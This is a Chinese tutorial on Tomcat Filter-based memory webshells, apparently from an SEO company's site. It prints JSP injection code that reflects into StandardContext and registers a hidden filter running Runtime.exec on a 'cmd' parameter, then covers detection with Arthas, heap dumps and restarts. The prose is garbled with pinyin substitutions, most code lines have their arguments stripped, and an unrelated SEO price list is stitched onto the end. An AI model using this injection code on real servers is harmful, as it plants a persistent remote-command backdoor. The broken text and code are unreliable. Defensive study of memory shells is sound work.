96SEO 2026-05-07 08:03 1
在网络安全攻防的漫长博弈中,WebShell始终是一个绕不开的话题。然而随着防御设备的日益精进,传统的文件型WebShell早Yi无所遁形。于是一种geng为隐蔽、geng为致命的攻击手段——“内存马”,开始活跃在红蓝对抗的舞台上。试想一下攻击者不需要在服务器磁盘上留下任何痕迹,仅仅是在内存中悄悄注入了一段代码,就Neng持久化地控制你的Web服务。这听起来是不是有点像科幻电影里的情节?但这就是我们今天要面对的现实。

对于安全审计人员来说Tomcat作为Zui主流的Java Web容器,往往是内存马重灾区。今天我们就抛开那些晦涩的论文,从Zui基础的概念入手,像剥洋葱一样,一层层地剖析Tomcat内存马的原理,并探讨如何从零开始进行审计与查杀。
一、 回归本质:Filter的生命周期与机制在深入内存马的构造之前,我们必须先搞清楚Tomcat是如何处理一个正常的HTTP请求的。这就好比你想抓住一个成好人的间谍,
你得知道好人平时是怎么Zuo事的。在Tomcat中,Filter扮演着“守门员”的角色。
当一个请求抵达服务器,它并不是直接就跑到了Servlet或者JSP页面去处理。它必须穿过一条由多个Filter组成的“链条”。这就好比你要进入一个机密大楼,得先经过保安检查、前台登记、门禁刷卡,Zui后才Neng见到你要见的人。
我们来kan一段标准的Filter代码,这通常是我们在javax.servlet.Filter接口下实现的:
package org.example.security;
import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.IOException;
// 使用注解声明拦截所有路径
@WebFilter
public class LogFilter implements Filter {
@Override
public void init throws ServletException {
// 初始化阶段,Tomcat启动或加载Filter时调用
System.out.println;
}
@Override
public void doFilter
throws IOException, ServletException {
// 每次请求dou会经过这里
String clientIp = request.getRemoteAddr;
System.out.println;
// 关键点:放行请求,让它继续往下走
// Ru果不写这行,请求就会在这里卡死,后面的Servletdou别想执行
chain.doFilter;
}
@Override
public void destroy {
// 销毁阶段,通常在Web应用卸载时调用
System.out.println;
}
}
这里有几个关键点值得注意。
是@WebFilter,它告诉容器:“嘿,不管用户访问什么URL,dou先让我过一遍。”然后是chain.doFilter,这行代码就像是接力赛中的交接棒,只有调用了它,请求才Neng传递给下一个Filter或者Zui终的Servlet。Ru果攻击者在内存马里故意不调用这个方法,或者在这个方法之前插入恶意逻辑,那后果不堪设想。
正常情况下我们通过web.xml或者@WebFilter注解来注册Filter。Tomcat在启动的时候,会读取这些配置文件,然后把Filter的信息加载到内存里。但是内存马之所以叫内存马,就是因为它不走寻常路——它不依赖配置文件,而是直接在运行时通过Java的反射机制,强行修改Tomcat内存中的对象。
要理解这一点,我们就得认识Tomcat的核心组件:StandardContext。你Ke以把它kan作是某个Web应用的“大管家”。在这个大管家手里紧紧攥着三个至关重要的集合,它们决定了Filter的命运。
这就像是一个花名册。它是一个HashMap。里面存的是所有Filter的“身份证信息”。比如Filter叫什么名字、它对应的Java类全名是什么、它的实例对象是谁。Tomcat在解析web.xml里的标签时就会往这个Map里塞数据。
光有名字还不行,还得知道这个Filter该管哪些事。这就是filterMaps的作用。它记录了URL模式与Filter名称的对应关系。比如/*就代表拦截所有路径。Tomcat在处理请求时会先kan这个数组,判断当前请求的URL需要触发哪些Filter。
这个是Zui关键的,也是内存马攻击的核心目标。它是一个HashMap。Tomcat为了性Neng,并不会在启动时就创建好所有的Filter实例。它采用的是“懒加载”模式:当第一个请求匹配到某个Filter时Tomcat才会根据filterDefs里的定义,创建一个ApplicationFilterConfig对象,然后把它扔进filterConfigs里缓存起来。以后再有请求来了直接从这里拿现成的用。
这三者的协作流程大概是这样的:请求来了 -> 查filterMaps找匹配 -> 去filterConfigs拿实例 -> 没有实例?去filterDefs拿定义创建一个 -> 执行doFilter。
好了现在我们换上攻击者的帽子。既然我们没法修改服务器上的web.xml,那我们Neng不Neng直接操作内存里的StandardContext呢?答案是肯定的,而且这正是Java反射机制的“魅力”所在。
攻击者通常会先上传一个JSP文件。只要访问一次这个文件,里面的代码就会在服务器端执行,完成注入。之后即使你把这个JSP删了恶意代码依然活在内存里。
第一步:潜入核心,获取StandardContext在JSP中,我们Neng直接拿到的是request对象。但是StandardContext被藏得hen深,外面裹了好几层壳。我们需要像剥洋葱一样,一层层反射进去。
<%
// 1. 从request获取ServletContext,这只是一个门面
ServletContext servletContext = request.getSession.getServletContext;
// 2. 反射破门而入,获取ApplicationContextFacade里的context字段
Field appContextField = servletContext.getClass.getDeclaredField;
appContextField.setAccessible; // 私有字段?没关系,暴力破解
ApplicationContext applicationContext = appContextField.get;
// 3. 继续深挖,从ApplicationContext里拿到真正的StandardContext
Field standardContextField = applicationContext.getClass.getDeclaredField;
standardContextField.setAccessible;
StandardContext standardContext = standardContextField.get;
%>
这一步就像是拿到了通往金库的万Neng钥匙。有了standardContext对象,我们就Ke以随意修改它内部的那些Map了。
接下来我们要定义一个“坏家伙”。通常使用匿名内部类来实现Filter接口,这样代码写起来geng紧凑,不需要另外建一个类文件。
<%
Filter maliciousFilter = new Filter {
@Override
public void init {
// 初始化?不需要,我们直接干活
}
@Override
public void doFilter
throws IOException, ServletException {
// 获取cmd参数
String cmd = request.getParameter;
if {
// Ru果有cmd参数,就执行系统命令
Process process = Runtime.getRuntime.exec;
// 读取命令执行结果并回显
java.io.InputStream inputStream = process.getInputStream;
java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream;
byte buffer = new byte;
int len;
while ) != -1) {
baos.write;
}
response.getWriter.write));
return; // 执行完命令就结束,不放行
}
// 没有命令参数,正常放行,假装无事发生
chain.doFilter;
}
@Override
public void destroy {}
};
%>
这段代码的逻辑非常简单粗暴:Ru果URL里带了?cmd=whoami,它就执行命令并返回结果;Ru果没有,它就老老实实地调用chain.doFilter,让正常的业务逻辑跑通。这就是为什么内存马难以被发现——它平时不捣乱,只有攻击者访问特定参数时才会露出獠牙。
有了Filter对象,还得去StandardContext那里“上户口”。我们需要创建FilterDef和FilterMap,并把它们塞进对应的集合。
<%
// 1. 创建FilterDef
org.apache.tomcat.util.descriptor.web.FilterDef filterDef = new org.apache.tomcat.util.descriptor.web.FilterDef;
filterDef.setFilterName; // 起个名字
filterDef.setFilterClass.getName);
filterDef.setFilter; // 把实例放进去
standardContext.addFilterDef; // 加入filterDefs
// 2. 创建FilterMap
org.apache.tomcat.util.descriptor.web.FilterMap filterMap = new org.apache.tomcat.util.descriptor.web.FilterMap;
filterMap.setFilterName; // 名字要对应上
filterMap.addURLPattern; // 拦截所有路径
standardContext.addFilterMapBefore; // 加到数组Zui前面确保优先执行
%>
注意这里用了addFilterMapBefore。为什么要加到Zui前面?因为Filter链是有顺序的。Ru果我们的恶意马排在Zui后万一前面的某个Filter抛出异常或者把请求截断了那我们的马岂不是就失效了?放在Zui前面才Neng保证万无一失,每次请求douNeng先经过我们的检查。
Ru果你以为Zuo完上一步就大功告成了那就太天真了。还记得前面说的“懒加载”吗?Tomcat只有在第一次请求到来时才会去创建ApplicationFilterConfig。但是由于我们是在运行时动态添加的,Tomcat的启动流程早就走完了。这时候Ru果直接发请求,Tomcat可Neng会因为状态检查失败而拒绝创建配置对象,导致你的马报错No filter configuration found。
所以我们必须手动扮演Tomcat的角色,把ApplicationFilterConfig创建好,然后硬塞进filterConfigs这个Map里。这一步是内存马注入成功的“临门一脚”。
<%
// 1. 反射获取filterConfigs字段
Field filterConfigsField = standardContext.getClass.getDeclaredField;
filterConfigsField.setAccessible;
Map filterConfigs = filterConfigsField.get;
// 2. 反射获取ApplicationFilterConfig的构造器
Constructor constructor =
ApplicationFilterConfig.class.getDeclaredConstructor;
constructor.setAccessible;
// 3. 手动new一个对象出来
ApplicationFilterConfig filterConfig = constructor.newInstance;
// 4. 塞进Map!
filterConfigs.put;
%>
Zuo完这一步,当你
访问http://localhost:8080/?cmd=whoami时你会发现命令Yi经成功执行了。此时你完全Ke以把服务器上的inject.jsp删掉,或者重启Tomcat——哦对了重启Tomcat的话内存马就没了因为它只存在于内存中。这就是内存马“无文件落地”的特性,也是它让运维人员头疼的地方。
既然知道了原理,那我们该怎么查杀呢?传统的WAF扫文件是肯定没用的。我们需要从内存层面入手。
1. 使用Arthas进行诊断Arthas是阿里开源的一款强大的Java诊断工具,简直是排查线上问题的神器。对于内存马,我们Ke以利用Arthas的sc命令来查找可疑的类。
比如我们Ke以搜索实现了javax.servlet.Filter接口的所有类:
sc *.Filter
然后观察输出列表。Ru果你kan到了一些名字hen奇怪、包名hen可疑,或者你根本没写过但出现在那里的类,那就要小心了。
geng进一步,你Ke以使用jad命令反编译这个类的字节码,kankan它的doFilter方法里是不是藏着Runtime.getRuntime.exec这种鬼东西。
除了Arthas,我们还Ke以导出Tomcat的堆转储文件。在Windows下可Neng需要配置jstatd权限或者使用jmap命令。拿到堆文件后用VisualVM或者MAT打开。
在MAT中,我们Ke以搜索StandardContext对象,然后顺着filterConfigs这个字段往下挖。kankan里面到底存了哪些Filter。Ru果发现了一个名字叫evil或者memshell的FilterDef,那基本就Ke以实锤了。
有时候,攻击者会把名字起得hen具有欺骗性,比如LogFilter或者AuthFilter。这就需要审计人员对业务非常熟悉,或者通过反编译代码逻辑来辨别真伪。
虽然听起来hen敷衍,但“重启服务器”确实是清除内存马Zui直接、Zui有效的方法。因为内存马是驻留在JVM堆内存中的对象,一旦JVM进程挂掉,所有东西dou清空了。当然重启只是治标不治本,Ru果你不修补上传漏洞,攻击者过会儿又Neng给你注入一个。
五、 与思考Tomcat内存马的审计与防御,是一场发生在内存深处的较量。从攻击者的角度kan,这是对Java反射机制、Tomcat架构原理的极致利用;从防御者的角度kan,这要求我们不仅要关注文件系统的完整性,geng要关注运行时的行为。
通过本文的梳理,我们明白了内存马并非什么黑魔法,它本质上就是利用Tomcat提供的API,在运行时动态修改了容器的内部状态。理解了StandardContext中filterDefsfilterMapsfilterConfigs这三个核心组件的协作关系,我们就Neng从“被动挨打”转变为“主动发现”。
在实际的安全工作中,建立内存马的监控机制至关重要。也许我们Ke以开发一个Agent,专门监控StandardContext的变动,一旦发现有新的Filter被动态注册,立即发出告警。毕竟在kan不见的战场上,谁先洞察对方的动向,谁就掌握了主动权。
希望这篇文章Neng为你提供一份从零开始审计Tomcat内存马的清晰指南。在这个充满变数的网络世界里保持好奇心和警惕心,永远是我们Zui好的武器。
作为专业的SEO优化服务提供商,我们致力于通过科学、系统的搜索引擎优化策略,帮助企业在百度、Google等搜索引擎中获得更高的排名和流量。我们的服务涵盖网站结构优化、内容优化、技术SEO和链接建设等多个维度。
| 服务项目 | 基础套餐 | 标准套餐 | 高级定制 |
|---|---|---|---|
| 关键词优化数量 | 10-20个核心词 | 30-50个核心词+长尾词 | 80-150个全方位覆盖 |
| 内容优化 | 基础页面优化 | 全站内容优化+每月5篇原创 | 个性化内容策略+每月15篇原创 |
| 技术SEO | 基本技术检查 | 全面技术优化+移动适配 | 深度技术重构+性能优化 |
| 外链建设 | 每月5-10条 | 每月20-30条高质量外链 | 每月50+条多渠道外链 |
| 数据报告 | 月度基础报告 | 双周详细报告+分析 | 每周深度报告+策略调整 |
| 效果保障 | 3-6个月见效 | 2-4个月见效 | 1-3个月快速见效 |
我们的SEO优化服务遵循科学严谨的流程,确保每一步都基于数据分析和行业最佳实践:
全面检测网站技术问题、内容质量、竞争对手情况,制定个性化优化方案。
基于用户搜索意图和商业目标,制定全面的关键词矩阵和布局策略。
解决网站技术问题,优化网站结构,提升页面速度和移动端体验。
创作高质量原创内容,优化现有页面,建立内容更新机制。
获取高质量外部链接,建立品牌在线影响力,提升网站权威度。
持续监控排名、流量和转化数据,根据效果调整优化策略。
基于我们服务的客户数据统计,平均优化效果如下:
我们坚信,真正的SEO优化不仅仅是追求排名,而是通过提供优质内容、优化用户体验、建立网站权威,最终实现可持续的业务增长。我们的目标是与客户建立长期合作关系,共同成长。
Demand feedback